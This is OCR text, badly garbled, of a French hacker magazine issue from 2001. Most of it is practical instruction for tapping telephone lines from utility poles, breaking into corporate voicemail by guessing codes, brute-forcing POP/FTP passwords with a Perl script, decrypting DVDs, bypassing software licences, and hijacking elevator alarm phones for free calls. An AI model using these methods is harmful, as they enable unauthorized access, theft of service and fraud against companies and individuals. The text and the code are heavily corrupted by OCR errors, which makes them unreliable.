que la nuit : car les communications
téléphonique sont moins cheres.......)

- Vous partez en pleine cambrousse
Vous vous garez dans un koinou il y a
pas trop de %umiére s0us un poteau L

de FT qui relie un abonné 3 une centrale
multiplexeur et pas 3 un poteau qui relie
2 multiplexeur( pas sous un réverbére
comme NRH par exemple...)

-(aufair au par avantil aurais fallu apprendre
a monter ...

monter a la corde raide)Monter au poteau
de réléphone, ouvrir la boite (d'un

coup de poing)en plastique blanc avec le
logo FT et seconnecter sur n'importe quel-
le ligne téléphonique

- Vioild grice au converrisseur vous avez
votre PC allume, vous connectez votre
rallonge a votre modem vous lancez l'ins-
rallarion de votre fournisseur d'accés et
vous voili connecté au net gratuitement
e[ Surtout anonymement

ATTENTION : ne jamais se reconnec-
rer de chez soi avec le

compte graos que vous

venez d'ouvrir car sinon ¢a ne serviraica

rien..... Bon uploading,

HACKING DE.VMB,

a8
Clest quai ume\-'Ml?; “we
Une VMB ( Virtual Mail Box) est routsim-
plement une boite vocale personnelle
que certaines entreprises offrent  leurs
galariés... Ilest tres facile alors pour le pira-
teque vous étes d'en piraterune er del'uri-
liser...

Etape 1 : Y-2-t-1 une VMB sur le suméro 7

OFK, vous avez composé un numéro de nuit.
Sivous tombez sur unevoix enregistrée ou
un truc du genre, c’'est parfait. Si une
gentille dame vous répond stupidement
" Allo, blablabla... *, alors passez au
numéra suivant.

Ecoutez le message enregistré et appuyez
alors sur #,

Sile message s'arrére er que vous entendez
* Bienvenu sur la messagerie vocale Truc-
MachinChose", ¢'est bon ! Sinon, essayez
le 0 oule 9 ou* oule 81.
Sivousentendez un"boooooooooo”,alors
c'est un PABX (voir mon dossier des-
sus).

Etape 2 : Trouver une VMB

OK, maintenant que vous éres dans
lamessagerie, écoutez les commandes.
Généralement, le 1 pour envoyer un
message, et le # ou le 2 pour aceéder
4 votre VMB.

Vous voulez accéder & votre VIMB, tapez
donc # ou 2. Aprés, il vous est dir d’en-
rrer vorre numéro de boite. Clesttrés simple
sentrezunnuméroan hasard (disonsle4).
Si la voix enregistrée ne dit rien, ¢’est
tout bon. Si elle vous répond : " Numéro
incorrect ", alors le numéro n'est pas
bon... essayez un autre ! Une fois que
vous avez trouvé un bon numéro, passez
ausuivant, Lesnuméros de VMB sont géneé-
ralement & quacre chiffres, rour comme
les codes. Une exception, par exemple :
le serveur EDF (0800 00 10 10, VMB 4
six chiffres, code & quatre chiffres).

Ftape 3 : Le code de la VMB

Alors 14, c'est plus dur ! Plusieurs possi-
bilicés :

- on ne vous demande pas de code et
vous accédez 4 vorre boite : ¢’est fimi |

Crackage De Sepveur
PopEtFp D

Avec ce programme écrit en perl vous
pouvez découvrir les mots de passes
de tour les serveurs pop et fip
Ceprogramme fonctionne Parfaitement
en l'érat

La hacking est réprimé par la loi ce
programme est écrit dans un but de
connaissance

#/usr/local/bin/perl
use NeenPOP3;

use FileHandle;

use Config;

use Thread gw(asyne);

$Config{userhreads} or die"recompi-
lez perl avec les threads™;

$¢<\mptmr:{);
$thri=asyne|

#La valeur 40 indigue le nombre de
test réalisés

while($compreur<40){

sleep(1):

#ici test d un serveur POP changer en
Net:FTP pour les serveurs FTP

$m=MNet:POP3->new( pop.machin.fr’);
die “could not open account” unless

$m;

#monsieurchose représente] 1D ducomp-
te en général la partie de |'adresse avant
'arobase

Fn=5m-

>login('monsienrchose’ $test=Random-
s>Random:new());

print“nombre de message requs:nin’;
print”
R ¢

#Sauvegardedes testsmot de passeet des
résulrats

$from = FileHandle->new(};
open($from,“>> /root/fichiersauve-
garde")

or die“no /roor/fichiersauvegarde:$!”;
splutter(\"$from);

sub splurter{

my $51=shift;

print $fh “nombre de messages
regusi$n”,\n";

Trim: $fh “$rest”\n";

b

_—_—
™

#Le thread s incrémente que sile ser-
veur Tenvoie une réponse

$eompteur+4;

. print” Threadl =compteur="%comp-

teur;\n";

:mum{*om"):

$the2= asym:f_
while($compreur<40){
sleep(2);

$m=Net:POP3->new('pop.machin.fr);
die"could not open account” unless
By

$n=$m-

login(‘monsieurchose’ §rest=Random-
>Randomunew());

print “nombre de message regus:$nin";
princ”

$from = FileHandle->new();
open(ffrom,”>>/ root/fichiersauve-
ﬁldie"ne ftoor/fichiersauvegarde:$!";
splurrer(\*$from);
sub splucrer{
my $th=shift;
print $fh “nombre de messages
regus:$n”,\n";

rinc $fh “$rest”"\n";

Scompreur++;
print "thread Zcompreur=",5comp-
reur;"\n";

return("OK2");

i

#Génération des mots de passes aléa-
toires

package Random;
sub newf

my $class=shift;
my Bself={};
bless $self $class;

#@liste contient les types de carac-
téres générés

@liste=("a" 2 A, 009

Fself="";

#Le chiffre 7 dans la boucle for cest la
longuwur en l:ll.'al:tér\bs d‘.l maot d.e Pﬂssz

généré

for (my $i=0; $i<7:$i++){
Bself .= $liste[int rand@lisce];

return $self

- on vous demande un code :

QUPS !!! Mais tout n'est pas perdu... En
effer, certains employés semblent scupides
etattribuent des numéros de code vraiment
bidons !

Essayez dans I'ordre suivant ;

- le numéro de la boite correspondante ;
-le 0000, 1111, 1234, 9876, etc. ;

-un truc du genre 19xx (année de nais-
sance),

Me vous acharnez pas ! S1aprés ces essais,
vous n'avez pas trouvé le code; alors recom-

mencez ichercher un autre numéro de boite
ou méme une autre messagerie.

Etape 4 : Faire bon usage de sa VMB

Cayest...vous avez une boite vocale | Mais,
il faur maintenant apprendre i 'exploi-
rer correctement. La plupare des fonctions
vous sont présentées clairement... Par
exemple, nﬁ-u':sitez pas i changer le code
de votre VMB des la premiére utilisa-
tion !

Le hulletin de vote officiel sera publié dans |2 prochain numéro en méme temps que la deuxiéme sélection 0'articles

n
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La méthode facile pour

coPiER TouS LES FILmS eN DD sur pes sin

« Apres ¢a, tu peux les fire tranquille sur ton ordi ou sur ta te

LE MATERIEL
I NECESSAIRE I

4 logiciels disponibles gratui-
tement sur le net :

DECSS : Un décodeur de
ggg qui décrypte les .vob du

VOBDEC : Un autre déco-
deur, mais pour les vab avec une
protection plus poussée.

GUM : Un utilitaire pour un enco- I
dage. Nous utilisons seulement
la calculatrice.

FLASK : L'encodeur vidéo
ET audio !

Aumoing5 Go de mémoire pour
un film de 2 heures (1go par
30minute de DVD + le fichier que
I'on désir encoder) et un

15 heures de temps (une bonne
nuit par exemple).

Etc'esttout | !!

&
A nos lecteurs
Les informations publiees dans
Hackerz Voice ont u.)iectif pure-
ment documentaire. Le journal rap-
pelle & ce titre que Igratage infor-
matique, sous quelque forme que ce
soit, est un délit (lire page 4).
Hackerz Voice condamne naturelle-
ment toute forme de piratage et sou-
tien sans ambiguité les actions qui
luttent contre la cyber-criminalité.
HACHERI VOICE/MARS 2001

Comment procédent-ils ?

Certe méthode n'est pas la plus rapide.
11 faur prévoir environ 30 minutes pour
copierles fichiers vob survorre disque dur
et,selonlalonguenr du filmetla puissance
de votre ordinarteur, entre 8 et 20 heures
dencoderlavidéoerleson, (doncilestpré-
férable de le faire de nuic.)

Installez d'abord les deux Codec (Celui
pour les DivX et celui pour les MP3)

Défragmentez vorre disque dur avant
de commencer er fermer les applica-
tions non nécessaires 4 windows, (avec
ctel+ale+del, faites fin de tiche pour
tousles programmes sauf; Exploter et Sys-
rra}r]

Cela donnerapresque 100% du processeur
pour la compression.

B Copler ot décrypter un DVD

Pour copier les fichiers vob sur votre disque
dur, vous avez donc besoin d'an moins 4gig. Le
film en DVD est toujours une série de
fichiers de 1048meg (1GIG) Souvent il ena
et plus (ga dépend de la longuear du flm).
Pour savoir quels sont les bons fichiers,
vous pouvez ouvrir le premier fichier a l'ai-
ded'unlogiciel DVDL(WinDVD par exemple}
Les fichiers sur le DVD se situe dans le
répertoire Video_ts. Wous devez trouver les

fichiers du film. Exemple :

La seule série de trois fichiers de 1048meg
(1GIG) sont la série #5

1. Vts_05_0.vob [/ Souvent, il s'agit dumenu.
Donc il n'est pas nécessaire
2.Vis_05_l1.vob // Le premier fichier du
film! On en a besoin !

3.Ves_05_2.vob// Ledeuxiéme fichier dufilm
! On en a besoin !

4.Ves_05_3wob// Lercroisiéme fichierduRlm
! Onen abesoin!

5. Ves_05_4.wvob // Le quatriéme fichier du
film! On en abesoin!

6. Wta_05_5.vob // Le dernier fichier.

Ce fichier n'est peur-étre pas nécessaire. Il 'agit
peut-étre seulement du générique final du flm.
Regarder le fichier grice un logiciel de visua-
lisation DVD (comme WinDVD) exsi le fichier
commence avec les crédizs de la fin, on le
laigse romber. Sile film continue dans ce fichier
ou que...

Bien sur, cet exemple ese seulement un
modéle. Votre film peut avoir plus ou moins
de fichier. (I'exemple 2 été pris sur le Sixié-
me Sens)

Bon maintenant que U'on sait quels fichiers
on a besoin, reste i les décryprer. Les DVD

sont cryptés contre la copie grice 4 des sys-
témes comme le MacroVision qui fait cli-
gnoter I'image lorsque vous le copiez. Vous
pouvez uriliser denx programme pour déca-
der vos fichiers vob.

W Decss

DECSS : est le plus facile, mais décode
pas certaines protection des nouveaux
DVD. Veici comment ["utiliser :

Quyrez DeCSS.exe

Il devrait auto-déeccter votre DVD-
rom. Sinon, encrez la lettre de votre lec-
teur dans Confing : (ex: E:\)
Assurez-vous quel'oprion Merge Vob File
n'est pas sélectionnée, Le Far32 de Win-
dows 95/98 ne supporte pasles fichiersde
plus de 4Gig (4 194 304ko)

Cliquez sur%elecr. Folder, exchoisissez un
emplacementou vousavez aumoins 4 GIG.
Choisissez maintenant les fichiers i copier
4 droite. Les fichiers que 'on a trouvés
un peu plus haue,

Cliquez sur trasfer et arrendez. Ca prend
environ 5 4 10 minutes par fichier (selon
la vitesse de vorre DVD)

Vaila | Vos Behiers sont décryprés, Mais
par contre, il se peut qu'il reste encore
des protections (dans la majorité des
cas, il n'y a pas de probléme)

Justesi jamais vous avez des problémes, ou
que vous ne voulez pas prendre la chan-
cede perdre 15heures devotre temps, voici

Hlis '.E“ d'utliiser vobdec
VOBDEC : Bien qu'il soit possible de
sélectionner plusieurs fichier ala fois, il est
préférable de décrypter les fichiers un
par un pour étre siir que routes les pro-
tections sont éliminées,

Ouvrir vdGULexe

Choisir le lectenr de DVD (DVD drive)
Maintenant, choisissez le premier fichier
4 copier A droite

Dans Outpur Direcrory,inscrivezle réper-
roire de worre choix (ex : es\video\)
Cliquez sur Find Key (c'est cetre oprion
qui élimine toutes protections)

Fermez la fenéere DOS et cliquer sur
OK.

Maintenant, Cliquez sur « Selected
Filles »
Recommencezpourchaqugﬁchicrduﬁ]m

C'est copié !I!! on a plus besoin du disque
DVD

Encodage du son, du vidéo er le mixe
des deux
Cerre fagon n'est pas la plus rapide, mais

[J

la plus facile d'arriver & un résultar pro-
fessionnel sans avoir de probléme de
son et de vidéo.

Premiérement, il faut comprendre c'est
quoi un DivX. Le DivX estun type decom-
pression qui permet de faire du vidéo de
trés haute résolution. Le son est en faic
du MP3. Donc si vous avez un ordina-
teur en bas d'un Pentium [I 300, oubliez
i

W Déterminer le qualité du son
Pour le son en MP3, je vous suggére de
choisir une qualité de MP3 de 128Kbit.

Pour bien calculer l'espace en mbytes du
Filmi hﬁn.musdhnsudﬁsermﬂ.

Cliquer sur GULexe, appuyez sur F6
11 s'agic d'une calculacrice,

Dans Video Lenght, marquez la durée
du film en Seconde (approximatif mais
essayez d'éere précis),

Maintenant, dans Data rare, sélection-
nez laqualité audio, 128kbitou autre (vous
pouvez écrire les votres si vous voulez
du 160kbits ou du 192kbits.

Allez sur la ligne File Size (Mbytes)
Apres le =, inscrivezla grosseur désirée du
fichier (650meg si vous voulez que le
film soit sur un cd). (faires enter)
Regardezmaintenant, dans la colonne Data
Rate, la premiére case {Cest le taux de
transfére pourla Vidéa.,) Prenezleennote.

H La dernidre partiel

Ouvrez FLASK (FlasKMPEG.exe)
Sélectionnez English comme langage
{;:1 va étre plus Eimple,)

File / Open File

Allez chercher le premier fichier de votre
film Ves_0Ox_l.vob

Le logiciel détecte que les fichiers sui-
vants sont une suite du premier.
Cliquez sur OK

Lelogiciel vadécouvrir plusieurs piste audio
si le film est Multilingue

Choisissez celui que vous voulez (le pre-
mier est souvent Anglais (0x80). 0x01
est normalement la piste frangaise
Cliquezsur Option / GlobaanrjjectC)ption
Dans Vidéo, donnez la grandeur de 720
/ 480 Width / Height

Dans Time Base, Sélecrionnez 23.976

fps

Allez dans l’onglet audio

Sélectionnez « Decode audio «
Sélecrionnez également 48000Hz comme
Sampling Rate Frequency

Dans Longler Post Processing
Sélecrionnez HQ Bicubic Fiil:ering
Cochez No Crop et No Letterboxing
Dians l'ongler Files
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UN LOGICIEL DE NEWBIE

(mais uile & tous pour démasguer les mots de passe)

PLES G A 5 BALLES...

JHE

ADVANCED PASSWORD RECOVERY 007

Companero newbie, tu te sens dépassé par le coté technique de certains
articles { Rassure toi,avec Advanced password recovery 007 tuauras en 2 minutes
l'impression d’étre le prince de la hack (ou un Cowboyz). Et tu pourras en

jeter & tous tes potes de bureau...
Ol le downloader :
www.lopus.com

seur Zindows est remplacé par uneicone

Kinavu lestites éroiles des boites de
i | mort de passe en se disant « mais zut
&'est quoi déji mon mot de passe ? »

APRO07 : 2 minutes pour le téléchar-
ﬁ;r, I'installer le lancer. Ensuite, tous
Inscrivez l'endroit et le nom ol vous

voulez la version finale du Film.
Dans General, assurez-vous que Com-

pile whole file
Parfait. Maintenant, encore quelques petites

options

Cliquez sur Option / Qutput Format
Option

Cliquez Sleect Codee pour la partie
vidéo

Sélectionnez o comp
MPEG4 Low- Motion
Cliquez sur Configurer
La deuxiéme barre en bas est le Data
rate du Vidéo

Sélectionnez le chiffre que vous avez
prit en note tentdt avec la calculacrice.
Cliquez sur OK et revenez dans lafenéere
Output Formar Option

Cliquer Sleect Codec pour la partie
audio

Sélectionnez Mpeg Layer 3 comme formar
Sélecrionnez 128Kbit (ou plus selon vorre
chois, mais assurez-vous de bien calcu-
ler la grosseur du fichier final avec la cal-
cularrice.)

Cliguezsur OK 2 fois pour revenir au Pro-
gramme

Cliquez sur Run / Start Conversion

DivX; )

Clest parti 11111

Sélectionnez Highest comme Prioriry Set-
ring et ne touchez plus a votre ordina-
teur pour entre 10 et 20heure ;) Méme|
si votre ordinateur devient instable, c'est
normal. Le logiciel prend 100% de vorre
ordinateur.

Vous avez vorre Divi

Vous pouvez expérimenter mainrenantc
avecle DivX:-) MPEG4 High Motion qui
offre une meilleure qualité pour les Films
d'action. Mais il est également imprévi-
sible car il escimpossible de calculerla gros-
seur du film final. Le High Motion urilise
un Datarate variable. llutilise le maximum
quandilenabesoin etle minimumlorsque
l‘image ne bouge pas... Dans ce cas, des
Datarate entre 2000 et 6000 sont possible.
A vous de le rester.

Faire un DivX, mais sur 2 CD |
Ce n'Est pas vraiment plus compliqué. 11
s'agit en fair de couper le film en deux.
Sivotre film se tient sur 5 fichiers.vob, enco-
dezd'abord les 3 premiers fichiers et ensui-
te les deux derniers. Il suffic d'ajuster le
Data Rate en conséquence, Dans la cal-
culartice de GUIv0.19, inscrivez le temps
en seconde que les trois premiers fichiers
urilisent. Ilvous donneraun Data rate bien

évidemment supérieur et laqualité du film
en sera augmenté. Déplacez ensuite les
trois premiers fichiers dans un répertoi-
re quelconque. (I:hnrlor:ant.c'mqu:ﬂaak
ne voit pas les fichiers 4 et 5 lorsque
vous allez ouvrir le premier fichier.
Maintenant ouvrez le premier fichier de
lasériede troiz et faites exactement comme
ci haur (mais avec le Data Rate revaala
hausse) Une fois la premiére partie
encodée, supprimez les fichiers vob que
vous venez d'encoder. Renommez les
fichiers restant  partir du numéro 1,

Ex:
le fichier Ves_05_4.vob renommez le
Vis_05_Lvob

le fichier Vrs_05_5.vob renommez le
Vs 05_2vob

Etc..Faites exacrementcomme 'auere par-
tie et urilisez le méme Data Rate que la
premiére partie (sinon la deuxiéme par-
tie risque d'érre plus belle que la pre-
miére.) Assurez-vous seulement qu'avec
ceDararare, lerésultarentrera surun CD.
(Normalement, si vous avez coupé le
film en deux, il ne devrait pas avoir de
probleme) Encodezaver ervous avez
votre DivX de haute qualité sur deux
CD.

L'aut'jour je suis allé chez mon
pote Bébert, celui qui fait Ia col-
lection de DVD, il venait de faire
les magasins et avait quelques
nouveautés.

Mangue de pot son lecteur DVD
ttaitenpanne, I"avaitla haine le bég-
bert. De toute fagon Iest tellement
peu soigneux Bébert qu'il a un DVD
sur 3 gu'est rayé et qui marche po.

Allez ! je vais lui expliquer com-
mentfaireune copie de ses DVD pour
5 F, le prix d’un laser normal vier-
ge. Ben oui ! quand il aghéte un
DVD Bébert, c'est pas le bout de plas-
tigue qu'il achéte. C'est le droit de
profiter du film chez lui. 8i son lec-
teur DVD est en panne ou que I'ori-
ginal est naze, il a alors parfaitement
droit de regarder la copie de sau-
vegarde qu'il a chez lui.

mots de passe de lamachine soncacces-
sibles rien qu'en langant les applica-
tions quiutilisent des mots de passe caché

par des étoiles.
Icil’exemple estun simple logiciel de frp.

Une fois lancé, il nemontre que des éroiles
i la place du mot de passe. En cliquanr

de clef, il suffit de I'approcher du mor
de passe pour que celui-ci soit révélé,

Bon d'accord ca marche pas i distance
4 moins de le coupler avec un logiciel
de prise de contrale i distance, mais ca
permet de retrouver en moins de §
minutes rous les mots de passe d'une
machine rien qu'en langant les logiciels

une fois sur la clef d'APRO07 le cur-  concernés.

B —_— |

La réponse a la question que
toutle monde nous a posé pour
doubler sa vitesse de télé-
chargement...

F Dans HZV N°2,nous avions publiél'as-
Astuce de pirate tuce de pirate suivante. Remember ¢
Face i I'afflux des demandes de préci-
sion 2 propos de cette manip,{ ot trou-
ver « receive windows? » ) nous apportons
le complément d'infos suivant :

Multiplie par deux
ta vitesse de
téléchargement.
Lamanip pour obtenir ce résul- Sur votre PC faites : DEMARRER + EXECU-
rat spectaculaire consiste &

TER
rajouter une clé a la section Tapez « REGEDIT « pour ouvrir le registre

TCP/IP de maniére i faire bas- windows (attention & la fausse manip,
culer le'RECEIVE WIN- c'est le ceur du systéme 1),
DOW'de sa valeur pardéfaur Z'avez plus qu'a chercher (F3) : « receive
(trop, mais trop basse) jusqu'a windows « pour savoir oil faire la manip.
32767 (trop, mais trop rapi-

de) ! 5iaprés ga, vous n'y parvenez toujours

pas, HZV ne peur plus rien pour vous.
MNE : Merci XstaZ

Suite dans le prochain HZV :
o~ Comment lire les CD-R copiés sur
un banal lecteur DVD de salon




GENTIL ZENFANTS DE LA MER

PIRATAGE INVERSE

Protéger ses ports des forbans plus forts que nous. Car un pirate qui a de la nav sait

que sur la mer, il y a toujours plus malin que soi.

n ordinateur utilise des ports

pour transiter des données.

Lennui, c’est qu'un PC pos-

séde 65536 ports et beau-
coup peuvent étre employés par des
étrangers pour s'introduire dans votre
machine, afin de visionner le conrenu de
vorre disque dur, de vous identifier, voire
méme de détruire routes les informations
(ce qui est interdit ;-) )!

2 Techniques :

Lesporrssurunemachinesont des entrées
survotre pcquivous permettentd’échan-
gerdes informations dansun sensou dans
unautre avecune autre machine, Sur Inrer-
net vous pouvez échanger énormément
de données par plusieurs pores diffé-
rents 4 plusieurs machines. Chaque
port a ses caractéristiques, I'un permet

de lire le courrier, l'autre permet de com-
muniquer par icq, un autre permet de
télécharger des fichiers... Il existe plusieurs
centaines de portsdifférents surune machi-
ne, je vous mettrais plus bas une liste des
ports que j'essaierais de détailler Le plus pos-
sible. Bref, vous I'aurez compris, les ports
sont indispensables 4 I'échange d'infor-
mations par Intermet, cependant, comme
ils constituent les seules encrées exis-
tantesversvorre pe,c estpar laqueles types
pénétrent dans votre machine et récipro-
quement, ¢'est par ces ports que vous
vous infiltrerez dans un serveur ou n'im-
porte quel ordinateur.

Certains vous diront siirement quelque
chose, comme le porr 21 quiest celuidu Frp,
leport 23 est aussiassez connu puisque c'est
celui du Telnet er aussi 'entrée favorite

delamajorité des troyens (d'ottlenom Soe-
ket23), le pore 25 appelé SMTP permet
d'envoyerducourrier etlepore 110{POP),
permet de relever celui ci,. Ceux que
vous devez connaitre par coeur sont ici,
echo Ticp & 7/udp

chargen 19/tcp & 19/udp

ftp 21/tep

telnet 23/tcp

smtp 25/tcp

whois 43tcp

domain 53/tcp & 53/udp

finger 79/cp

hitp B0/tep

pop3 110/tcp

portmap 111/tcp & 111/udp

sunrpc 111/tcp & 111/udp

auth 113/tcp

sftp 115cp

nntp 119/tcp

nbsession 139/tcp
snmp 161 /udp
login 513/tep

who 513/udp
shell 514/tcp

Comme vous pouvez le voir c’est une
liste assez exhausrive, il y en a que je
n'ai pas mis car je ne sais méme pas i
uot ils servent, il en existe plusieurs
gjﬂiﬂe&demﬂ]iers.ﬁSSSﬁponrérreexm.
Le fait de rentrer tous les ports dans ce
tableau n'est pas a proprement parler
follement excitant donc j'en rajouterais
petit i petit mais il ese hors de question
de les rajouter rous d'un coup, d'autant
plus que je ne les connais pas rous =)
Bref je vois pas trop quoi dire d'autre
sur les porrs sinon que si les vorres sont
tous fermés, vous n'avez aucune chance,
mais alors aucune, de vous faire hacker.
Ceci est valable bien sur si votre disque
est saint, C'est sur que si vous étes in?n(-
té par au minimuem un troyen ou si vous
avez unebombelogique camouflée quelque
part dans votre ordinateur, vous risquez
d’avoir certains problémes vu qu'un
Programme comme Un Croyen a comme
bur premier d'ouvrir un port pour que
lehacker puisseentreret fairece qu'ilveut.
XstaZ

Bizarazand

Dans son numéro 879 du 19 janvier
2001. Notre confrére, faisait genti-
ment figurer un article intitulé

« L'arme fatale de Microsoft contre
les pirates » en face d'une publicité
vantant les mérites de www.toutwin-
dows2000.com. Rires.

Certains esprits retors pouvaient y trou-
ver i redire. En effer, qu'un journal ait
besoin de publicité pour vivre ne nous
choquz pas. En revanche, disposer des
pubs dans un magazine afin que lerédac-
tionnel renforce I'aceraic de ces publi-
cités est beaucoup plus discurable d'un
point de vue échique. Ca veur dire sou-
metcre la rédaction & des impératifs
quine devraient pas érreles siens. Un bel
exemple de Hack journalistique.

Le Rédacteur en chef du Monde Infor-
mariques'est rout de suite inscrit en faux
sur mes questions, [l m'expliqua genti-
ment qu'en aucun cas la rédaction du
journal ne prenait en compte [a dispo-
sition publicitaire lors delamiseen PEn:e
des articlesrédactionnels. Onle croitsur
parole.

% A propos d'Office impira-
table.

Le premier jour, Crétin créa les logi-
ciels avec un numéro de série... et Inter-
net créa les sices de « Serial «, des sites
remplis de numéros de série pour ceux
qui n'avait plus que la copie du od
d'installation. Le deuxiémejour erétin
créales logicielsavec un numéro de série
dynamiqgue. Le nom du client entraic
en jeu dans la génération du numéro
de série débloguant lelogiciel.... Er Incer-
net créa les sices de « Crack », petits
programmes & télécharger donnant la
solution, Le troisiéme jour, crérain
créa les logiciels impiratables, Apparut
alors une nouvelle générarion de pirares,
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le « Pirate chinois ». Ainsi circulent en
France des cédéroms d'installation pré-
piraté ne demandane méme pas de numé-
ro de série.

Moralité : sourenons les Crérins ca
pose moins de probléme quand on uti-
lise un pirare (4 la place du cd d’origine
qu'on a d'abord acheté puis perdu).

x Au falt, comment installer
Office 87 compiet avec juste
le CD de mise & Jour ?

Créez un répertaire « Options » dans
le répertoire ci\windows\system puis
copiez-y un seul fichier rexte (n'impor-
te lequel) que vous renommerez : opk-
wiz.tag (et non .txt). Votre mise & jour
installeralaversion compléte d'office sans
vous poser d'autres questions,

Bon. Alors, je veux plus voir le mot « impi-
ratable « dans la presse informarique d'ac-
cord ¢ Surtour que c'est pas frangais et
aprés onnous reproche de faire des fautes
d'orthographe.

B0 80 20 3 S0 X

TN [N o oot wersiom d Ofice, Microssfi atifisens
s sl fuad persmetsant dfnserveniv directomend lors e chapr prsillation de o b,

L'arme fatale de Microsoft

www.toutwindows2000.com

L megions Vi e s frmatingars iy Wineboss 3580
s arruems o4 o ikarinns

AOL : manuel de résistance

‘Onne protestera jamais assez contre les manigres |

dece FAL Sivousn'étes

pas satisfaits de ses services, sachez que la société est contrdolée par le méme
-oupe qui détient canal +, Cégetel et SFR, autant de sociétés dont on nest pas

orcément obligé d'étre client.

5 Un lecteur d' Hzv vous donne aussl un truc pour ne plus

dtre «coupd =

Installer le logiciel AOLDECO dispo sur le site officiel en francais

hitp:/fAOL.help2.com hitp://AOL.help2.com ouhitp://AOLDeco.does.it http://AOLDeco.does. it
rubrigue DOWNLOAD et voila ADL se fait en..... d’autres logiciels sont dispo sur d'autres
sites mais je ne les ai pas encore essayé, pour les télécharger aller sur le site hitp://razle-

bol.fr.st/.

2% Enfin, une histoire marrante, arrivée & une lectrice :

« ['avais le NCNuméricable depuis 2 semaines pour ne plus étre déco d'aver mes amis du
salon «parlons micron. 3 opérateurs d’AOL m'ont téléphoné pour me proposer NCNuméri-
cable ! zont po les fichiers de leurs clients connaissent certainement po lordinatewr eux ! Je me
suis foutue d'eux [les povres opérateurs au prix ou ils sont payés po lol { mais j'en avais marr-
re ! J'ai demandé une ristourne & ST Treppoz ! bizarre a po répondu lui Prés de ses sous non !
Le ler que j'ai ew m'a avoué qu'il était aussi déco toutes les 30mn ! Il a vraiment des progrés &
faire non 2 Sait po si histoire vous intéresse mais j'étais mdr | l'ai racontée sur le salon tous
mdr ! D'ailleurs je me suis fais hacker! mais mes copains (qui connaissent marie la gourde du salom)
m'avaient envoyé Firewall ! Rigolez po je Uavais réglé tellement haut que je me hackais toute
seule quand jallais sur Napster | po lol mais eux rire ! Bisous Marie




Il parait qu’il y a encore des gens en France

qui payent pour téléphoner !

Fini les pinces crocos, les biue boxes
et les bidouillages 4 la papa...

Voici comment les pirates procé-
dentavjourd’huipour téléphoner gra-
tos (durée illimitée part out dans le
monde)en (presque ) toute légalité...

s‘;cm““ Indispensable :
-1
-1 téléphon,

e
-1 exemplaire d'HZV

Il fallair s'y artendre, ¢a dare déja pas
d'hier qu'on peur uriliser Internet pour
se parler. Vocalrec aété un des premiers
amettre en place un réseau de points
desortie permettant le lienenrre Inrer-
neterdifférents réseaux téléphaniques
locaux. Mais bien stir fallair casquer. Et
cher.

Hortvoice.com, lui, offre vraiment
graros, la possibilité d'envoyer un fax
onunmessage téléphonique de presque
routela planéredun tarif graruit ou local
vers n'importe quel email. Clest deja
mieux, Mais la grande nouveauté, ec
labonne nouvelle,¢'est quaujourdhui,
onpeuruiliser des sites pour téléphoner
gratos sur un poste fixe. Trois offres
« officielles » existent. Onvadébusquer
les eraitres : Www.wowring.com, www. hot-
telephone.com, et www.myfreeld.com

Comme ils sont meilleurs en téléphonie

qu'en programmation de site, il suffit de

se créer plein de logins et on téléphone
bien gratos tout le temps en France CQFD

rages sont clairement présentés et les
inconvénients sont soigneusement
cachés. On nous prend vraiment
pour des décérebrés !

WWW. WOWFing.com donne l'impres-
sion de permetrre le téléphone illi-
mité en France er en Europe. En fait
c'est une pauvre boite de vente de
calling cards, de forfaits de téléphone
& prix de gros, Effectivement on passe
3 coupsde fils gratos de 2 minutes, mais
ila connexion suivante on arrive direc-
rement sur la page PAIE OU DEGA-
GE. Donc, bad pub. Vafa.

www.hotlelephone.com : vraiment
original: plusonaune connexion péra-

on passe par un routeur + ADSL ou
Noos, faur souvent flasher le routeur
pour avoir accés 4 la config des ports
H.323, RTP et UDPE Sinon camarche
bien, y a rien 4 dire.

www.myifreald.com: unmixdesdeux,
qui passe par nermeeting, donc le
son esemoins bon quesur hottelephone
(puisque c'estunlogiciel microsoft). Le
sire tombe assez souvent mais jamais
longtemps. Méme délire que sur
wowring, c'est au bout de 3 coups de
fils seulement qu'on 4 le message «ah
aufairc’est trois par jours. Bon comme
ils sont meilleurs en téléphonie qu'en
programmation de site, il suffic de se
créer plein de logins et on téléphone

22 08¢ 29C 28C 08¢ 2 %X

Un (bon) petit truc de
Bar0Om pouravoir Mailcast
gratuit

lupp.! H i:(ail::ut:t le logiciel qui

desvisiteurs clern'impm quelsite (voir
HZV deuze)

Salut, je vous ai entendu parier de Mail-
Cast dane le N° 2 . Au cas ou certains lec-
teurs seralent intéressés de savoircomment
sont sécurisés leurs logiciels préférés,
j'ai 'exemple le plus simple du monde :

Matériel nécessaire : Bloc-Notes
Temps : 5 Sac.

Editez |e fichier :

$Swindows_path$$\system\DliHostLhBr.dat
Composition :

—_——début=22/12/2000
14:54:254début

dernier=22/12/2000 14:54:25#dernier
série=fsérie

code=#code

Inscrivez e num de série et le code que vous
voulez et c’est Ok, fini le sharware zo)
Ex.:

Ebut=22/12/2000
14:54:254début
dernler=22/12/2000 14:54:25#dernier
série=Bar00m#série
code=5tayfi#code

Vu la «connerie» de leur protection je
pensepas que ¢’est dupiratage ce qu'on fait
iei. 1)

C'estbien dessites américains:] ve et mieux ca marche. Par contre si

biengratostt le ternps en France CQFD.

Allez Beslama, Bar0Om

Phreaking au 6 éme étage

Piraterunascenseur pourtéléphoner
gratuitement dans le monde entier
De breux pirates s
témed'alarmed yrmeren

véritable téléphone, accessible gratuitement 24/ 24,

Voici comment ils font.

t 2 détourner le sys-
. .

Cetietechnique permetau hacker avec un minimumde maté-
riel de téléphoner gratuitement sans limita de temps ni de
distance 3 partir d'une cabine d’ascanseur.

1l faut savoir que le sy d'appel d'urg des
cabines utilise le réseau tSléphonique pour communiquer
avec le dépannage. Or souvent une fois |8 bouton Alarme
enfoncé, le sysiame attend 3 secondes avant de composer
le numéro du service d'assistance, toute I'astuce du hac-
ker consiste 3 profiter de ces trois secondes. Oul, mais
comment 7 1 n'y a pas de clavier, allez-vous me dire, et
bien tout simplement en utilisant un enregistrement s
tonalités servant 3 composer son numéro. Il enregistre au
préalable surundictaphone les tonalités spécifiques dunumeé-
ro qu'il veut contacter. Il ne lui reste plus qu'a bloguer
I'ascenseur, appuyer sur le bouton d'urgence el placer
son dictaphone contre le micro de I'interphone. Lenregis-
trement devant faire mains de trois secondes bien siir
(tacile en utilisant le numéroteur intégré dans windows).
Le tour est jous.

Allo Tokyo? :0)
<<-=l|[gLuPz]ji=>>

Cérealkiller explique aux lecteurs son truc pour

Pirater Ia salle e jeux en péseay

lie son quartier

